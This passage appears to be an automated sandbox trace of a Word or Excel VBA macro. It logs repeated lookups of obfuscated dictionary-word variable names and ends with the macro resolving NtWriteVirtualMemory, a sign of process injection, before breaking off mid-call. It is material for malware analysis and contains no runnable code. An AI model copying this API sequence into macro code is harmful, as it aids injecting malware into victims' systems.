IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.293] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="redux") returned 0x10f06f [0018.293] strcpy_s (in: _Dst=0x263790, _DstSize=0x6, _Src="redux" | out: _Dst="redux") returned 0x0 [0018.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=6, lpWideCharStr=0x2635f0, cchWideChar=6 | out: lpWideCharStr="redux") returned 6 [0018.293] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.293] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="redux", lHashVal=0x10f06f, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.293] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.293] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.293] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="redux", lHashVal=0x10f06f, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.293] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.293] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.293] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="redux", lHashVal=0x10f06f, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.293] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.293] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.293] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="redux", lHashVal=0x10f06f, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.293] IUnknown:Release (This=0x7479720) returned 0x5 [0018.293] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="redux") returned 0x10f06f [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_redux") returned 0x30b45c [0018.293] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.293] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="libertine") returned 0x10b854 [0018.294] strcpy_s (in: _Dst=0x263790, _DstSize=0xa, _Src="libertine" | out: _Dst="libertine") returned 0x0 [0018.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=10, lpWideCharStr=0x2635f0, cchWideChar=10 | out: lpWideCharStr="libertine") returned 10 [0018.294] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.294] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="libertine", lHashVal=0x10b854, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.294] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.294] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="libertine", lHashVal=0x10b854, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.294] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.294] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="libertine", lHashVal=0x10b854, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.294] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.294] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="libertine", lHashVal=0x10b854, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x7479720) returned 0x5 [0018.294] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="libertine") returned 0x10b854 [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_libertine") returned 0x30c199 [0018.294] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.294] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="itur") returned 0x107d2c [0018.294] strcpy_s (in: _Dst=0x263790, _DstSize=0x5, _Src="itur" | out: _Dst="itur") returned 0x0 [0018.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263790, cbMultiByte=5, lpWideCharStr=0x2635f0, cchWideChar=5 | out: lpWideCharStr="itur") returned 5 [0018.294] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.294] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="itur", lHashVal=0x107d2c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.294] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.294] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="itur", lHashVal=0x107d2c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.294] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.294] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="itur", lHashVal=0x107d2c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.294] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.294] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="itur", lHashVal=0x107d2c, pfName=0x263748, pBstrLibName=0x2635f0 | out: pfName=0x263748*=0, pBstrLibName=0x2635f0) returned 0x0 [0018.294] IUnknown:Release (This=0x7479720) returned 0x5 [0018.295] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.295] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="itur") returned 0x107d2c [0018.295] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_itur") returned 0x30e298 [0018.295] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.295] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.296] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.296] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.296] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.297] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x284) returned 0x7fef3f4bc14 [0018.297] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="samara") returned 0x103559 [0018.297] strcpy_s (in: _Dst=0x263630, _DstSize=0x7, _Src="samara" | out: _Dst="samara") returned 0x0 [0018.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263630, cbMultiByte=7, lpWideCharStr=0x263490, cchWideChar=7 | out: lpWideCharStr="samara") returned 7 [0018.297] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.297] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="samara", lHashVal=0x103559, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.297] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.297] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.298] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="samara", lHashVal=0x103559, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.298] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.298] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="samara", lHashVal=0x103559, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.298] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.298] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="samara", lHashVal=0x103559, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x7479720) returned 0x5 [0018.298] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.298] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vagons") returned 0x1021a5 [0018.298] strcpy_s (in: _Dst=0x263630, _DstSize=0x7, _Src="vagons" | out: _Dst="vagons") returned 0x0 [0018.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263630, cbMultiByte=7, lpWideCharStr=0x263490, cchWideChar=7 | out: lpWideCharStr="vagons") returned 7 [0018.298] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.298] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="vagons", lHashVal=0x1021a5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.298] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.298] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="vagons", lHashVal=0x1021a5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.298] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.298] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="vagons", lHashVal=0x1021a5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.298] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.298] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="vagons", lHashVal=0x1021a5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.298] IUnknown:Release (This=0x7479720) returned 0x5 [0018.298] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.298] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vagons") returned 0x1021a5 [0018.298] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_vagons") returned 0x309c4e [0018.298] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.298] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754ffc4, cbMultiByte=8, lpWideCharStr=0x8320b74, cchWideChar=18 | out: lpWideCharStr="dismount") returned 8 [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="posy") returned 0x10c9f8 [0018.299] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_posy") returned 0x302f29 [0018.299] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.299] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x754ffd4, cbMultiByte=6, lpWideCharStr=0x8320dba, cchWideChar=14 | out: lpWideCharStr="hamate") returned 6 [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cancan") returned 0x10985f [0018.299] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cancan") returned 0x10985f [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cancan") returned 0x3012c9 [0018.299] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.299] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bacillariophyceae") returned 0x107370 [0018.299] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.299] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_bacillariophyceae") returned 0x30f5b2 [0018.300] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.300] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="emanation") returned 0x1087b5 [0018.300] strcpy_s (in: _Dst=0x263630, _DstSize=0xa, _Src="emanation" | out: _Dst="emanation") returned 0x0 [0018.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263630, cbMultiByte=10, lpWideCharStr=0x263490, cchWideChar=10 | out: lpWideCharStr="emanation") returned 10 [0018.300] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.300] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="emanation", lHashVal=0x1087b5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.300] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.300] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="emanation", lHashVal=0x1087b5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.300] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.300] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="emanation", lHashVal=0x1087b5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.300] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.300] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="emanation", lHashVal=0x1087b5, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x7479720) returned 0x5 [0018.300] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="emanation") returned 0x1087b5 [0018.300] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_emanation") returned 0x308179 [0018.300] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.300] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.300] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="diagrammatically") returned 0x102667 [0018.300] strcpy_s (in: _Dst=0x263630, _DstSize=0x11, _Src="diagrammatically" | out: _Dst="diagrammatically") returned 0x0 [0018.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263630, cbMultiByte=17, lpWideCharStr=0x263490, cchWideChar=17 | out: lpWideCharStr="diagrammatically") returned 17 [0018.300] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.300] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="diagrammatically", lHashVal=0x102667, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.300] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.300] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="diagrammatically", lHashVal=0x102667, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.300] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.300] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="diagrammatically", lHashVal=0x102667, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.300] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.300] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.301] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="diagrammatically", lHashVal=0x102667, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.301] IUnknown:Release (This=0x7479720) returned 0x5 [0018.301] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="diagrammatically") returned 0x102667 [0018.301] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_diagrammatically") returned 0x30caa4 [0018.301] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.301] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="motet") returned 0x102292 [0018.301] strcpy_s (in: _Dst=0x263630, _DstSize=0x6, _Src="motet" | out: _Dst="motet") returned 0x0 [0018.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263630, cbMultiByte=6, lpWideCharStr=0x263490, cchWideChar=6 | out: lpWideCharStr="motet") returned 6 [0018.301] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.301] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="motet", lHashVal=0x102292, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.301] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.301] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.301] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="motet", lHashVal=0x102292, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.301] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.301] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.301] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="motet", lHashVal=0x102292, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.301] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.301] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.301] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="motet", lHashVal=0x102292, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.301] IUnknown:Release (This=0x7479720) returned 0x5 [0018.301] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.301] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="motet") returned 0x102292 [0018.302] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_motet") returned 0x30e6be [0018.302] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.302] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.302] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bombinate") returned 0x108b19 [0018.302] strcpy_s (in: _Dst=0x263630, _DstSize=0xa, _Src="bombinate" | out: _Dst="bombinate") returned 0x0 [0018.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263630, cbMultiByte=10, lpWideCharStr=0x263490, cchWideChar=10 | out: lpWideCharStr="bombinate") returned 10 [0018.302] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.302] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="bombinate", lHashVal=0x108b19, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.302] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.302] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.302] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="bombinate", lHashVal=0x108b19, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.302] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.302] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.302] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="bombinate", lHashVal=0x108b19, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.302] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.302] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.302] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="bombinate", lHashVal=0x108b19, pfName=0x2635e8, pBstrLibName=0x263490 | out: pfName=0x2635e8*=0, pBstrLibName=0x263490) returned 0x0 [0018.302] IUnknown:Release (This=0x7479720) returned 0x5 [0018.302] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7550094, cbMultiByte=5, lpWideCharStr=0x8323e2c, cchWideChar=12 | out: lpWideCharStr="libya") returned 5 [0018.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fixoid") returned 0x1065a2 [0018.305] strcpy_s (in: _Dst=0x2634e0, _DstSize=0x7, _Src="fixoid" | out: _Dst="fixoid") returned 0x0 [0018.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2634e0, cbMultiByte=7, lpWideCharStr=0x263340, cchWideChar=7 | out: lpWideCharStr="fixoid") returned 7 [0018.305] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.305] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="fixoid", lHashVal=0x1065a2, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.305] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.305] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="fixoid", lHashVal=0x1065a2, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.305] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.305] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="fixoid", lHashVal=0x1065a2, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.305] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.305] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="fixoid", lHashVal=0x1065a2, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x7479720) returned 0x5 [0018.305] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_fixoid") returned 0x30e04b [0018.305] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.305] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="subway2") returned 0x10818b [0018.305] strcpy_s (in: _Dst=0x2634e0, _DstSize=0x8, _Src="subway2" | out: _Dst="subway2") returned 0x0 [0018.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2634e0, cbMultiByte=8, lpWideCharStr=0x263340, cchWideChar=8 | out: lpWideCharStr="subway2") returned 8 [0018.305] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.305] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="subway2", lHashVal=0x10818b, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.305] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.305] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="subway2", lHashVal=0x10818b, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.305] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.305] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="subway2", lHashVal=0x10818b, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.305] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.305] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="subway2", lHashVal=0x10818b, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.305] IUnknown:Release (This=0x7479720) returned 0x5 [0018.305] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_subway2") returned 0x303bc0 [0018.305] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.305] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.305] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="subway3") returned 0x10818c [0018.305] strcpy_s (in: _Dst=0x2634e0, _DstSize=0x8, _Src="subway3" | out: _Dst="subway3") returned 0x0 [0018.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2634e0, cbMultiByte=8, lpWideCharStr=0x263340, cchWideChar=8 | out: lpWideCharStr="subway3") returned 8 [0018.306] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.306] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="subway3", lHashVal=0x10818c, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.306] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.306] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.306] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="subway3", lHashVal=0x10818c, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.306] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.306] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.306] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="subway3", lHashVal=0x10818c, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.306] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.306] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.306] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="subway3", lHashVal=0x10818c, pfName=0x263498, pBstrLibName=0x263340 | out: pfName=0x263498*=0, pBstrLibName=0x263340) returned 0x0 [0018.306] IUnknown:Release (This=0x7479720) returned 0x5 [0018.306] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_subway3") returned 0x303bc1 [0018.306] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.306] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.306] VarMul (in: pvarLeft=0x7461c60, pvarRight=0x7461ab0, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.306] VarMul (in: pvarLeft=0x7461c60, pvarRight=0x7461ab0, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.306] VarSub (in: pvarLeft=0x7461ab0, pvarRight=0x7461a68, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.306] VarAdd (in: pvarLeft=0x7461a38, pvarRight=0x7461ab0, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.306] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.306] _stricmp (_Str1="ntdll.dll ", _Str2="VBE6.DLL") returned -8 [0018.307] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.307] GetProcAddress (hModule=0x77540000, lpProcName="NtWriteVirtualMemory") returned 0x775916b0 [0018.307] GetLastError () returned 0x0 [0018.307] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.307] _stricmp (_Str1="ntdll.dll ", _Str2="VBE6.DLL") returned -8 [0018.307] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.307] GetProcAddress (hModule=0x77540000, 